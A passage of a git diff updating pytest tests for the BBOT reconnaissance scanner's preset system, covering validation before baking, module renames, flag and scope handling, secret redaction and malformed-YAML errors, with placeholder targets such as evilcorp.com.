+    assert {e.data for e in preset_targets_only1_baked.target.target} == {"evilcorp.com"}
+    assert {e.data for e in preset_targets_only2_baked.target.target} == {"evilcorp.com", "evilcorp.de"}
 
 
 @pytest.mark.asyncio
 async def test_preset_logging():
     scan = Scanner()
+    await scan._prep()
 
     # test individual verbosity levels
     original_log_level = CORE.logger.log_level
@@ -404,12 +428,12 @@ async def test_preset_logging():
         assert silent_and_verbose.silent is True
         assert silent_and_verbose.debug is False
         assert silent_and_verbose.verbose is True
-        baked = silent_and_verbose.bake()
+        baked = silent_and_verbose.validate().bake()
         assert baked.silent is True
         assert baked.debug is False
         assert baked.verbose is False
         assert baked.core.logger.log_level == original_log_level
-        baked = silent_and_verbose.bake(scan=scan)
+        baked = silent_and_verbose.validate().bake(scan=scan)
         assert baked.core.logger.log_level == logging.CRITICAL
         assert CORE.logger.log_level == logging.CRITICAL
 
@@ -420,12 +444,12 @@ async def test_preset_logging():
         assert silent_and_debug.silent is True
         assert silent_and_debug.debug is True
         assert silent_and_debug.verbose is False
-        baked = silent_and_debug.bake()
+        baked = silent_and_debug.validate().bake()
         assert baked.silent is True
         assert baked.debug is False
         assert baked.verbose is False
         assert baked.core.logger.log_level == original_log_level
-        baked = silent_and_debug.bake(scan=scan)
+        baked = silent_and_debug.validate().bake(scan=scan)
         assert baked.core.logger.log_level == logging.CRITICAL
         assert CORE.logger.log_level == logging.CRITICAL
 
@@ -436,12 +460,12 @@ async def test_preset_logging():
         assert debug_and_verbose.silent is False
         assert debug_and_verbose.debug is True
         assert debug_and_verbose.verbose is True
-        baked = debug_and_verbose.bake()
+        baked = debug_and_verbose.validate().bake()
         assert baked.silent is False
         assert baked.debug is True
         assert baked.verbose is False
         assert baked.core.logger.log_level == original_log_level
-        baked = debug_and_verbose.bake(scan=scan)
+        baked = debug_and_verbose.validate().bake(scan=scan)
         assert baked.core.logger.log_level == logging.DEBUG
         assert CORE.logger.log_level == logging.DEBUG
 
@@ -452,12 +476,12 @@ async def test_preset_logging():
         assert all_preset.silent is True
         assert all_preset.debug is True
         assert all_preset.verbose is True
-        baked = all_preset.bake()
+        baked = all_preset.validate().bake()
         assert baked.silent is True
         assert baked.debug is False
         assert baked.verbose is False
         assert baked.core.logger.log_level == original_log_level
-        baked = all_preset.bake(scan=scan)
+        baked = all_preset.validate().bake(scan=scan)
         assert baked.core.logger.log_level == logging.CRITICAL
         assert CORE.logger.log_level == logging.CRITICAL
 
@@ -465,7 +489,7 @@ async def test_preset_logging():
         assert CORE.logger.log_level == original_log_level
 
         # defaults
-        preset = Preset().bake()
+        preset = Preset().validate().bake()
         assert preset.core.logger.log_level == original_log_level
         assert CORE.logger.log_level == original_log_level
 
@@ -475,8 +499,8 @@ async def test_preset_logging():
         await scan._cleanup()
 
 
-def test_preset_module_resolution(clean_default_config):
-    preset = Preset().bake()
+async def test_preset_module_resolution(clean_default_config):
+    preset = Preset().validate().bake()
     sslcert_preloaded = preset.preloaded_module("sslcert")
     wayback_preloaded = preset.preloaded_module("wayback")
     dotnetnuke_preloaded = preset.preloaded_module("dotnetnuke")
@@ -488,14 +512,15 @@ def test_preset_module_resolution(clean_default_config):
     assert "active" in dotnetnuke_flags
     assert "subdomain-enum" in sslcert_flags
     assert "subdomain-enum" in wayback_flags
-    assert "httpx" in dotnetnuke_preloaded["deps"]["modules"]
+    assert "http" in dotnetnuke_preloaded["deps"]["modules"]
 
     # make sure we have the expected defaults
     assert not preset.scan_modules
-    assert set(preset.output_modules) == {"python", "csv", "txt", "json"}
+    assert set(preset.output_modules) == {"csv", "txt", "json"}
     assert set(preset.internal_modules) == {
         "aggregate",
         "excavate",
+        "python",
         "unarchive",
         "speculate",
         "cloudcheck",
@@ -504,11 +529,11 @@ def test_preset_module_resolution(clean_default_config):
     assert preset.modules == set(preset.output_modules).union(set(preset.internal_modules))
 
     # make sure dependency resolution works as expected
-    preset = Preset(modules=["dotnetnuke"]).bake()
-    assert set(preset.scan_modules) == {"dotnetnuke", "httpx"}
+    preset = Preset(modules=["dotnetnuke"]).validate().bake()
+    assert set(preset.scan_modules) == {"dotnetnuke", "http"}
 
     # make sure flags work as expected
-    preset = Preset(flags=["subdomain-enum"]).bake()
+    preset = Preset(flags=["subdomain-enum"]).validate().bake()
     assert preset.flags == {"subdomain-enum"}
     assert "sslcert" in preset.modules
     assert "wayback" in preset.modules
@@ -516,41 +541,40 @@ def test_preset_module_resolution(clean_default_config):
     assert "wayback" in preset.scan_modules
 
     # flag + module exclusions
-    preset = Preset(flags=["subdomain-enum"], exclude_modules=["sslcert"]).bake()
+    preset = Preset(flags=["subdomain-enum"], exclude_modules=["sslcert"]).validate().bake()
     assert "sslcert" not in preset.modules
     assert "wayback" in preset.modules
     assert "sslcert" not in preset.scan_modules
     assert "wayback" in preset.scan_modules
 
     # flag + flag exclusions
-    preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake()
+    preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).validate().bake()
     assert "sslcert" not in preset.modules
     assert "wayback" in preset.modules
     assert "sslcert" not in preset.scan_modules
     assert "wayback" in preset.scan_modules
 
     # flag + flag requirements
-    preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake()
+    preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).validate().bake()
     assert "sslcert" not in preset.modules
     assert "wayback" in preset.modules
     assert "sslcert" not in preset.scan_modules
     assert "wayback" in preset.scan_modules
 
     # normal module enableement
-    preset = Preset(modules=["sslcert", "dotnetnuke", "wayback"]).bake()
-    assert set(preset.scan_modules) == {"sslcert", "dotnetnuke", "wayback", "httpx"}
+    preset = Preset(modules=["sslcert", "dotnetnuke", "wayback"]).validate().bake()
+    assert set(preset.scan_modules) == {"sslcert", "dotnetnuke", "wayback", "http"}
 
     # modules + flag exclusions
-    preset = Preset(exclude_flags=["active"], modules=["sslcert", "dotnetnuke", "wayback"]).bake()
+    preset = Preset(exclude_flags=["active"], modules=["sslcert", "dotnetnuke", "wayback"]).validate().bake()
     assert set(preset.scan_modules) == {"wayback"}
 
     # modules + flag requirements
-    preset = Preset(require_flags=["passive"], modules=["sslcert", "dotnetnuke", "wayback"]).bake()
+    preset = Preset(require_flags=["passive"], modules=["sslcert", "dotnetnuke", "wayback"]).validate().bake()
     assert set(preset.scan_modules) == {"wayback"}
 
     # modules + module exclusions
-    preset = Preset(exclude_modules=["sslcert"], modules=["sslcert", "dotnetnuke", "wayback"]).bake()
-    baked_preset = preset.bake()
+    baked_preset = Preset(exclude_modules=["sslcert"], modules=["sslcert", "dotnetnuke", "wayback"]).validate().bake()
     assert baked_preset.modules == {
         "wayback",
         "cloudcheck",
@@ -562,12 +586,87 @@ def test_preset_module_resolution(clean_default_config):
         "excavate",
         "unarchive",
         "txt",
-        "httpx",
+        "http",
         "csv",
         "dotnetnuke",
     }
 
 
+@pytest.mark.asyncio
+async def test_custom_module_dir():
+    custom_module_dir = bbot_test_dir / "custom_modules"
+    custom_module_dir.mkdir(parents=True, exist_ok=True)
+
+    custom_module = custom_module_dir / "testmodule.py"
+    with open(custom_module, "w") as f:
+        f.write(
+            """
+from bbot.modules.base import BaseModule
+
+class TestModule(BaseModule):
+    watched_events = ["SCAN"]
+  
+    async def handle_event(self, event):
+        await self.emit_event("127.0.0.2", parent=event)
+"""
+        )
+
+    preset = {
+        "module_dirs": [str(custom_module_dir)],
+        "modules": ["testmodule"],
+    }
+    preset = Preset.from_dict(preset)
+
+    scan = Scanner("127.0.0.0/24", preset=preset)
+    events = [e async for e in scan.async_start()]
+    event_data = [(str(e.data), str(e.module)) for e in events]
+    assert ("127.0.0.2", "testmodule") in event_data
+
+    shutil.rmtree(custom_module_dir)
+
+
+def test_preset_scope_round_trip(clean_default_config):
+    preset_dict = {
+        # seeds: initial inputs that drive passive modules
+        "seeds": ["127.0.0.1"],
+        # target: what in_target() / in_scope() check
+        "target": ["127.0.0.2"],
+        "blacklist": ["127.0.0.3"],
+        "config": {"scope": {"strict": True}},
+    }
+    preset = Preset.from_dict(preset_dict)
+    baked = preset.validate().bake()
+    # Seeds should round-trip unchanged
+    assert list(baked.seeds) == ["127.0.0.1"]
+    # Target list should round-trip unchanged
+    assert list(baked.target.target.inputs) == ["127.0.0.2"]
+    # Blacklist should round-trip unchanged
+    assert list(baked.blacklist) == ["127.0.0.3"]
+    # Scope config should be preserved
+    result = baked.to_dict(include_target=True)
+    assert result["config"]["scope"] == preset_dict["config"]["scope"]
+
+
+def test_preset_target_tolerance():
+    # tolerate both "target" and "targets", since this is a common oopsie
+    preset_dict = {
+        "target": ["127.0.0.1"],
+        "targets": ["127.0.0.2"],
+    }
+    preset = Preset.from_dict(preset_dict)
+    baked = preset.validate().bake()
+    assert set(baked.seeds) == {"127.0.0.1", "127.0.0.2"}
+
+    preset = Preset.from_yaml_string("""
+target:
+  - 127.0.0.1
+targets:
+  - 127.0.0.2
+""")
+    baked = preset.validate().bake()
+    assert set(baked.seeds) == {"127.0.0.1", "127.0.0.2"}
+
+
 @pytest.mark.asyncio
 async def test_preset_module_loader():
     custom_module_dir = bbot_test_dir / "custom_module_dir"
@@ -585,7 +684,7 @@ async def test_preset_module_loader():
 
 class TestModule1(BaseModule):
     watched_events = ["URL", "HTTP_RESPONSE"]
-    produced_events = ["VULNERABILITY"]
+    produced_events = ["FINDING"]
 """
         )
 
@@ -692,15 +791,14 @@ class TestModule5(BaseModule):
 """
         )
 
-    preset = Preset.from_yaml_string(
-        """
+    # unknown module name is caught at validate()
+    with pytest.raises(ValidationError):
+        Preset.from_yaml_string(
+            """
 modules:
   - testmodule5
 """
-    )
-    # should fail
-    with pytest.raises(ValidationError):
-        scan = Scanner(preset=preset)
+        ).validate()
 
     preset = Preset.from_yaml_string(
         f"""
@@ -729,6 +827,8 @@ def test_preset_include():
     mkdir(custom_preset_dir_4)
     mkdir(custom_preset_dir_5)
 
+    # Real modules so the (now-strict) validator accepts them. We use the
+    # universal `module_timeout` field as an opaque marker per preset.
     preset_file = custom_preset_dir_1 / "preset1.yml"
     with open(preset_file, "w") as f:
         f.write(
@@ -738,8 +838,8 @@ def test_preset_include():
 
 config:
   modules:
-    testpreset1:
-      test: asdf
+    nuclei:
+      module_timeout: 1
 """
         )
 
@@ -752,8 +852,8 @@ def test_preset_include():
 
 config:
   modules:
-    testpreset2:
-      test: fdsa
+    sslcert:
+      module_timeout: 2
 """
         )
 
@@ -768,8 +868,8 @@ def test_preset_include():
 
 config:
   modules:
-    testpreset3:
-      test: qwerty
+    gowitness:
+      module_timeout: 3
 """
         )
 
@@ -782,8 +882,8 @@ def test_preset_include():
 
 config:
   modules:
-    testpreset4:
-      test: zxcv
+    robots:
+      module_timeout: 4
 """
         )
 
@@ -793,26 +893,26 @@ def test_preset_include():
             """
 config:
   modules:
-    testpreset5:
-      test: hjkl
+    wayback:
+      module_timeout: 5
 """
         )
 
     # with include=
     preset = Preset(include=[str(custom_preset_dir_1 / "preset1")])
-    assert preset.config.modules.testpreset1.test == "asdf"
-    assert preset.config.modules.testpreset2.test == "fdsa"
-    assert preset.config.modules.testpreset3.test == "qwerty"
-    assert preset.config.modules.testpreset4.test == "zxcv"
-    assert preset.config.modules.testpreset5.test == "hjkl"
+    assert preset.config["modules"]["nuclei"]["module_timeout"] == 1
+    assert preset.config["modules"]["sslcert"]["module_timeout"] == 2
+    assert preset.config["modules"]["gowitness"]["module_timeout"] == 3
+    assert preset.config["modules"]["robots"]["module_timeout"] == 4
+    assert preset.config["modules"]["wayback"]["module_timeout"] == 5
 
     # same thing but with presets= (an alias to include)
     preset = Preset(presets=[str(custom_preset_dir_1 / "preset1")])
-    assert preset.config.modules.testpreset1.test == "asdf"
-    assert preset.config.modules.testpreset2.test == "fdsa"
-    assert preset.config.modules.testpreset3.test == "qwerty"
-    assert preset.config.modules.testpreset4.test == "zxcv"
-    assert preset.config.modules.testpreset5.test == "hjkl"
+    assert preset.config["modules"]["nuclei"]["module_timeout"] == 1
+    assert preset.config["modules"]["sslcert"]["module_timeout"] == 2
+    assert preset.config["modules"]["gowitness"]["module_timeout"] == 3
+    assert preset.config["modules"]["robots"]["module_timeout"] == 4
+    assert preset.config["modules"]["wayback"]["module_timeout"] == 5
 
     # can't use both include= and presets= at the same time
     with pytest.raises(ValueError):
@@ -851,6 +951,7 @@ async def test_preset_conditions():
     assert preset.conditions
 
     scan = Scanner(preset=preset)
+    await scan._prep()
     assert scan.preset.conditions
 
     await scan._cleanup()
@@ -859,34 +960,36 @@ async def test_preset_conditions():
     preset.merge(preset2)
 
     with pytest.raises(PresetAbortError):
-        Scanner(preset=preset)
+        scan = Scanner(preset=preset)
+        await scan._prep()
 
 
-def test_preset_module_disablement(clean_default_config):
+async def test_preset_module_disablement(clean_default_config):
     # internal module disablement
-    preset = Preset().bake()
+    preset = Preset().validate().bake()
     assert "speculate" in preset.internal_modules
     assert "excavate" in preset.internal_modules
     assert "aggregate" in preset.internal_modules
-    preset = Preset(config={"speculate": False}).bake()
+    preset = Preset(config={"speculate": False}).validate().bake()
     assert "speculate" not in preset.internal_modules
     assert "excavate" in preset.internal_modules
     assert "aggregate" in preset.internal_modules
-    preset = Preset(exclude_modules=["speculate", "excavate"]).bake()
+    preset = Preset(exclude_modules=["speculate", "excavate"]).validate().bake()
     assert "speculate" not in preset.internal_modules
     assert "excavate" not in preset.internal_modules
     assert "aggregate" in preset.internal_modules
 
-    # internal module disablement
-    preset = Preset().bake()
-    assert set(preset.output_modules) == {"python", "txt", "csv", "json"}
-    preset = Preset(exclude_modules=["txt", "csv"]).bake()
-    assert set(preset.output_modules) == {"python", "json"}
-    preset = Preset(output_modules=["json"]).bake()
+    # output module disablement
+    preset = Preset().validate().bake()
+    assert set(preset.output_modules) == {"txt", "csv", "json"}
+    preset = Preset(exclude_modules=["txt", "csv"]).validate().bake()
     assert set(preset.output_modules) == {"json"}
+    # output_modules is additive, so specifying json still includes defaults
+    preset = Preset(output_modules=["subdomains"]).validate().bake()
+    assert set(preset.output_modules) == {"csv", "txt", "json", "subdomains"}
 
 
-def test_preset_override():
+async def test_preset_override(clean_default_config):
     # tests to make sure a preset's config settings override others it includes
     preset_1_yaml = """
 name: override1
@@ -897,8 +1000,8 @@ def test_preset_override():
   - robots
 config:
   modules:
-    asdf:
-      option1: asdf
+    robots:
+      module_timeout: 10
 """
     preset_2_yaml = """
 name: override2
@@ -909,8 +1012,8 @@ def test_preset_override():
   - c99
 config:
   modules:
-    asdf:
-      option1: fdsa
+    robots:
+      module_timeout: 20
 """
     preset_3_yaml = """
 name: override3
@@ -955,7 +1058,7 @@ def test_preset_override():
     assert preset.debug is True
     assert preset.silent is True
     assert preset.name == "override4"
-    preset = preset.bake()
+    preset = preset.validate().bake()
     assert preset.debug is False
     assert preset.silent is True
     assert preset.name == "override4"
@@ -964,25 +1067,25 @@ def test_preset_override():
     assert targets == {"evilcorp1.com", "evilcorp2.com", "evilcorp3.com", "evilcorp4.com"}
     assert preset.config["web"]["spider_distance"] == 1
     assert preset.config["web"]["spider_depth"] == 2
-    assert preset.config["modules"]["asdf"]["option1"] == "fdsa"
-    assert set(preset.scan_modules) == {"httpx", "c99", "robots", "virustotal", "securitytrails"}
+    assert preset.config["modules"]["robots"]["module_timeout"] == 20
+    assert set(preset.scan_modules) == {"http", "c99", "robots", "virustotal", "securitytrails"}
 
 
-def test_preset_require_exclude():
+async def test_preset_require_exclude(clean_default_config):
     def get_module_flags(p):
         for m in p.scan_modules:
             preloaded = p.preloaded_module(m)
             yield m, preloaded.get("flags", [])
 
     # enable by flag, no exclusions/requirements
-    preset = Preset(flags=["subdomain-enum"]).bake()
+    preset = Preset(flags=["subdomain-enum"]).validate().bake()
     assert len(preset.modules) > 25
     module_flags = list(get_module_flags(preset))
     dnsbrute_flags = preset.preloaded_module("dnsbrute").get("flags", [])
     assert "subdomain-enum" in dnsbrute_flags
     assert "active" in dnsbrute_flags
     assert "passive" not in dnsbrute_flags
-    assert "aggressive" in dnsbrute_flags
+    assert "loud" in dnsbrute_flags
     assert "safe" not in dnsbrute_flags
     assert "dnsbrute" in [x[0] for x in module_flags]
     assert "certspotter" in [x[0] for x in module_flags]
@@ -990,63 +1093,63 @@ def get_module_flags(p):
     assert any("passive" in flags for module, flags in module_flags)
     assert any("active" in flags for module, flags in module_flags)
     assert any("safe" in flags for module, flags in module_flags)
-    assert any("aggressive" in flags for module, flags in module_flags)
+    assert any("loud" in flags for module, flags in module_flags)
 
     # enable by flag, one required flag
-    preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake()
+    preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).validate().bake()
     assert len(preset.modules) > 25
     module_flags = list(get_module_flags(preset))
     assert "chaos" in [x[0] for x in module_flags]
-    assert "httpx" not in [x[0] for x in module_flags]
+    assert "http" not in [x[0] for x in module_flags]
     assert all("passive" in flags for module, flags in module_flags)
     assert not any("active" in flags for module, flags in module_flags)
     assert any("safe" in flags for module, flags in module_flags)
-    assert any("aggressive" in flags for module, flags in module_flags)
+    assert any("loud" in flags for module, flags in module_flags)
 
     # enable by flag, one excluded flag
-    preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake()
+    preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).validate().bake()
     assert len(preset.modules) > 25
     module_flags = list(get_module_flags(preset))
     assert "chaos" in [x[0] for x in module_flags]
-    assert "httpx" not in [x[0] for x in module_flags]
+    assert "http" not in [x[0] for x in module_flags]
     assert all("passive" in flags for module, flags in module_flags)
     assert not any("active" in flags for module, flags in module_flags)
     assert any("safe" in flags for module, flags in module_flags)
-    assert any("aggressive" in flags for module, flags in module_flags)
+    assert any("loud" in flags for module, flags in module_flags)
 
     # enable by flag, one excluded module
-    preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute"]).bake()
+    preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute"]).validate().bake()
     assert len(preset.modules) > 25
     module_flags = list(get_module_flags(preset))
     assert "dnsbrute" not in [x[0] for x in module_flags]
-    assert "httpx" in [x[0] for x in module_flags]
+    assert "http" in [x[0] for x in module_flags]
     assert any("passive" in flags for module, flags in module_flags)
     assert any("active" in flags for module, flags in module_flags)
     assert any("safe" in flags for module, flags in module_flags)
-    assert any("aggressive" in flags for module, flags in module_flags)
+    assert any("loud" in flags for module, flags in module_flags)
 
     # enable by flag, multiple required flags
-    preset = Preset(flags=["subdomain-enum"], require_flags=["safe", "passive"]).bake()
-    assert len(preset.modules) > 25
+    preset = Preset(flags=["subdomain-enum"], require_flags=["safe", "passive"]).validate().bake()
+    assert len(preset.modules) > 20
     module_flags = list(get_module_flags(preset))
     assert "dnsbrute" not in [x[0] for x in module_flags]
     assert all("passive" in flags and "safe" in flags for module, flags in module_flags)
-    assert all("active" not in flags and "aggressive" not in flags for module, flags in module_flags)
+    assert all("active" not in flags and "loud" not in flags for module, flags in module_flags)
     assert not any("active" in flags for module, flags in module_flags)
-    assert not any("aggressive" in flags for module, flags in module_flags)
+    assert not any("loud" in flags for module, flags in module_flags)
 
     # enable by flag, multiple excluded flags
-    preset = Preset(flags=["subdomain-enum"], exclude_flags=["aggressive", "active"]).bake()
-    assert len(preset.modules) > 25
+    preset = Preset(flags=["subdomain-enum"], exclude_flags=["loud", "active"]).validate().bake()
+    assert len(preset.modules) > 20
     module_flags = list(get_module_flags(preset))
     assert "dnsbrute" not in [x[0] for x in module_flags]
     assert all("passive" in flags and "safe" in flags for module, flags in module_flags)
-    assert all("active" not in flags and "aggressive" not in flags for module, flags in module_flags)
+    assert all("active" not in flags and "loud" not in flags for module, flags in module_flags)
     assert not any("active" in flags for module, flags in module_flags)
-    assert not any("aggressive" in flags for module, flags in module_flags)
+    assert not any("loud" in flags for module, flags in module_flags)
 
     # enable by flag, multiple excluded modules
-    preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute", "c99"]).bake()
+    preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute", "c99"]).validate().bake()
     assert len(preset.modules) > 25
     module_flags = list(get_module_flags(preset))
     assert "dnsbrute" not in [x[0] for x in module_flags]
@@ -1055,7 +1158,7 @@ def get_module_flags(p):
     assert any("passive" in flags for module, flags in module_flags)
     assert any("active" in flags for module, flags in module_flags)
     assert any("safe" in flags for module, flags in module_flags)
-    assert any("aggressive" in flags for module, flags in module_flags)
+    assert any("loud" in flags for module, flags in module_flags)
 
 
 @pytest.mark.asyncio
@@ -1078,14 +1181,385 @@ async def test_preset_output_dir():
 
 
 # regression test for https://github.com/blacklanternsecurity/bbot/issues/2337
-def test_preset_serialization():
+async def test_preset_serialization(clean_default_config):
     preset = Preset("192.168.1.1")
-    preset = preset.bake()
+    preset = preset.validate().bake()
 
     import orjson as json
 
     preset_dict = preset.to_dict(include_target=True)
     print(preset_dict)
     preset_str = json.dumps(preset_dict)
-    preset_dict = json.loads(preset_str)
-    assert preset_dict == {"target": ["192.168.1.1"], "whitelist": ["192.168.1.1/32"]}
+    preset_dict_round_tripped = json.loads(preset_str)
+    assert preset_dict_round_tripped == preset_dict
+    assert preset_dict["target"] == ["192.168.1.1"]
+    assert "seeds" not in preset_dict
+
+
+def test_preset_yaml_redacts_secrets():
+    preset = Preset(
+        "evilcorp.com",
+        config={"modules": {"github_org": {"api_key": "ghp_secrettoken123"}}},
+    )
+    preset.validate()
+    preset = preset.bake()
+
+    yaml_plain = preset.to_yaml()
+    assert "ghp_secrettoken123" in yaml_plain
+
+    yaml_redacted = preset.to_yaml(redact_secrets=True)
+    assert "ghp_secrettoken123" not in yaml_redacted
+    assert "api_key" not in yaml_redacted
+
+
+def test_preset_file_targets(tmp_path):
+    """Test that file paths in preset target/seeds/blacklist are resolved via PresetPath.
+
+    The preset and its target files live in tmp_path (NOT CWD), so relative paths
+    like "targets.txt" can only be found if PresetPath adds the preset's directory
+    to its search paths. This is the core behavior being tested.
+    """
+    import os
+
+    # sanity check: tmp_path is not CWD (otherwise relative resolution is ambiguous)
+    assert os.getcwd() != str(tmp_path)
+
+    # create target files next to where the preset will live
+    targets_file = tmp_path / "targets.txt"
+    targets_file.write_text("evilcorp.com\n1.2.3.4\n")
+    seeds_file = tmp_path / "seeds.txt"
+    seeds_file.write_text("seed1.evilcorp.com\nseed2.evilcorp.com\n")
+    blacklist_file = tmp_path / "blacklist.txt"
+    blacklist_file.write_text("internal.evilcorp.com\n10.0.0.0/8\n")
+
+    # relative paths: resolved from the preset's directory via PresetPath
+    preset_file = tmp_path / "my_preset.yml"
+    preset_file.write_text("target:\n  - targets.txt\nseeds:\n  - seeds.txt\nblacklist:\n  - blacklist.txt\n")
+    preset = Preset.from_yaml_file(str(preset_file))
+    target_inputs = set(preset._target_list)
+    assert "evilcorp.com" in target_inputs
+    assert "1.2.3.4" in target_inputs
+    assert "targets.txt" not in target_inputs
+    seed_inputs = set(preset._seeds)
+    assert "seed1.evilcorp.com" in seed_inputs
+    assert "seed2.evilcorp.com" in seed_inputs
+    blacklist_inputs = set(preset._blacklist)
+    assert "internal.evilcorp.com" in blacklist_inputs
+    assert "10.0.0.0/8" in blacklist_inputs
+
+    # absolute paths for targets, seeds, and blacklist
+    preset_file2 = tmp_path / "my_preset2.yml"
+    preset_file2.write_text(
+        f"target:\n  - {targets_file}\nseeds:\n  - {seeds_file}\nblacklist:\n  - {blacklist_file}\n"
+    )
+    preset2 = Preset.from_yaml_file(str(preset_file2))
+    target_inputs2 = set(preset2._target_list)
+    assert "evilcorp.com" in target_inputs2
+    assert "1.2.3.4" in target_inputs2
+    seed_inputs2 = set(preset2._seeds)
+    assert "seed1.evilcorp.com" in seed_inputs2
+    assert "seed2.evilcorp.com" in seed_inputs2
+    blacklist_inputs2 = set(preset2._blacklist)
+    assert "internal.evilcorp.com" in blacklist_inputs2
+    assert "10.0.0.0/8" in blacklist_inputs2
+
+    # mixed: file paths + literal targets
+    preset_file3 = tmp_path / "my_preset3.yml"
+    preset_file3.write_text("target:\n  - targets.txt\n  - extra.evilcorp.com\n")
+    preset3 = Preset.from_yaml_file(str(preset_file3))
+    target_inputs3 = set(preset3._target_list)
+    assert "evilcorp.com" in target_inputs3
+    assert "1.2.3.4" in target_inputs3
+    assert "extra.evilcorp.com" in target_inputs3
+
+    # non-existent file strings are kept as literal targets
+    preset4 = Preset.from_dict({"target": ["not_a_file.txt", "192.168.1.1"]})
+    target_inputs4 = set(preset4._target_list)
+    assert "not_a_file.txt" in target_inputs4
+    assert "192.168.1.1" in target_inputs4
+
+    # subdirectory: preset in a nested dir references a file in the same nested dir
+    subdir = tmp_path / "nested" / "presets"
+    subdir.mkdir(parents=True)
+    nested_targets = subdir / "my_targets.txt"
+    nested_targets.write_text("nested.evilcorp.com\n")
+    nested_preset = subdir / "nested_preset.yml"
+    nested_preset.write_text("target:\n  - my_targets.txt\n")
+    preset5 = Preset.from_yaml_file(str(nested_preset))
+    target_inputs5 = set(preset5._target_list)
+    assert "nested.evilcorp.com" in target_inputs5
+    assert "my_targets.txt" not in target_inputs5
+
+
+def test_preset_dnsresolve_required_by_dns_name_consumers():
+    # gate must fire for all three opt-out paths when any DNS_NAME-watching module is enabled
+    for opt_out in (
+        {"exclude_modules": ["dnsresolve"], "flags": ["subdomain-enum"]},
+        {"config": {"dnsresolve": False}, "flags": ["subdomain-enum"]},
+        {"config": {"dns": {"disable": True}}, "flags": ["subdomain-enum"]},
+    ):
+        with pytest.raises(ValidationError, match="dnsresolve is required"):
+            Preset(**opt_out).validate().bake()
+
+    # dns.minimal keeps dnsresolve in the pipeline -- must NOT fire
+    Preset(flags=["subdomain-enum"], config={"dns": {"minimal": True}}).validate().bake()
+
+    # disabling dnsresolve with no DNS_NAME consumers enabled is allowed
+    Preset(exclude_modules=["dnsresolve"]).validate().bake()
+
+
+def test_preset_path_no_clobber_default(tmp_path):
+    """Regression: loading a preset via path (e.g. ./scan.yml) must not clobber
+    the default preset search path, even when the preset lives in a parent
+    directory of bbot/presets/. Previously, add_path() would remove
+    DEFAULT_PRESET_PATH from the search list, causing rglob to search the
+    entire tree and match non-YAML files (like .venv/bin/baddns).
+    """
+    from bbot.scanner.preset.path import PresetPath, DEFAULT_PRESET_PATH
+
+    # preset that includes a built-in preset by name (no extension, no path)
+    preset_file = tmp_path / "scan.yml"
+    preset_file.write_text("description: regression test\ninclude:\n  - baddns\n")
+
+    # non-YAML decoy that would match an extensionless rglob for "baddns"
+    decoy_dir = tmp_path / "fake_venv" / "bin"
+    decoy_dir.mkdir(parents=True)
+    decoy = decoy_dir / "baddns"
+    decoy.write_text("#!/usr/bin/env python\nif __name__ == '__main__':\n    pass\n")
+
+    pp = PresetPath()
+    # resolve the top-level file
+    found = pp.find(str(preset_file))
+    assert found == preset_file.resolve()
+    # DEFAULT_PRESET_PATH must survive
+    assert DEFAULT_PRESET_PATH in pp.paths
+
+    # the built-in include must resolve to the real preset, not the decoy
+    found_include = pp.find("baddns")
+    assert found_include.suffix in (".yml", ".yaml")
+    assert "fake_venv" not in str(found_include)
+
+    # full round-trip through Preset
+    preset = Preset.from_yaml_file(str(preset_file))
+    assert "baddns" in preset.explicit_scan_modules
+
+
+def test_malformed_yaml_preset_file(tmp_path):
+    """Regression test for https://github.com/blacklanternsecurity/bbot/issues/3158
+
+    Malformed YAML (e.g. bad indentation) must raise a clear ValidationError,
+    not an unhandled exception with a raw traceback.
+    """
+    malformed = tmp_path / "bad_preset.yml"
+    malformed.write_text(
+        "target:\n  - evilcorp.com\nmodules:\n  sslcert:\n    option: value\n   robots:\n    option: value\n"
+    )
+    with pytest.raises(ValidationError, match="YAML syntax error"):
+        Preset.from_yaml_file(str(malformed))
+
+
+def test_malformed_yaml_preset_string():
+    """Regression test for https://github.com/blacklanternsecurity/bbot/issues/3158
+
+    Malformed YAML string must raise ValidationError, not an unhandled yaml.YAMLError.
+    """
+    malformed_yaml = "target:\n  - evilcorp.com\nconfig:\n  key: value\n   bad_indent: oops\n"
+    with pytest.raises(ValidationError, match="YAML syntax error"):
+        Preset.from_yaml_string(malformed_yaml)
+
+
+def test_malformed_yaml_config_file(tmp_path):
+    """Regression test for https://github.com/blacklanternsecurity/bbot/issues/3158
+
+    Malformed YAML in a config file (bbot.yml / secrets.yml) must raise
+    ConfigLoadError with a helpful message, not crash with a raw traceback.
+    """
+    from bbot.core.config.files import BBOTConfigFiles
+    from bbot.errors import ConfigLoadError
+
+    malformed = tmp_path / "bad_config.yml"
+    malformed.write_text("web:\n  http_rate_limit: 100\n   bad_key: value\n")
+    with pytest.raises(ConfigLoadError, match="YAML syntax error"):
+        BBOTConfigFiles._get_config(None, str(malformed))
+
+
+def test_all_presets_ignores_non_preset_yaml(tmp_path):
+    """Regression test for https://github.com/blacklanternsecurity/bbot/issues/3189
+
+    When -p loads a preset from an arbitrary directory (e.g. $HOME), that
+    directory must NOT be searched by all_presets / -lp. Otherwise every
+    .yml file under it (Ansible collections, CI configs, etc.) is parsed
+    and produces warning spam.
+    """
+    import bbot.scanner.preset.preset as preset_mod
+    from bbot.scanner.preset.path import PresetPath
+
+    # create a valid preset in tmp_path (simulates ~/my_preset.yml)
+    preset_file = tmp_path / "my_preset.yml"
+    preset_file.write_text("description: test preset\nmodules:\n  - sslcert\n")
+
+    # create non-preset yaml files nearby (simulates Ansible, CI, etc.)
+    junk_dir = tmp_path / "ansible"
+    junk_dir.mkdir()
+    (junk_dir / "playbook.yml").write_text("hosts: all\ntasks: []\n")
+    (tmp_path / "ci.yml").write_text("on: push\njobs: {}\n")
+
+    # save and replace global state so we get a clean PRESET_PATH
+    orig_preset_path = preset_mod.PRESET_PATH
+    orig_default_presets = preset_mod.DEFAULT_PRESETS
+    try:
+        fresh_path = PresetPath()
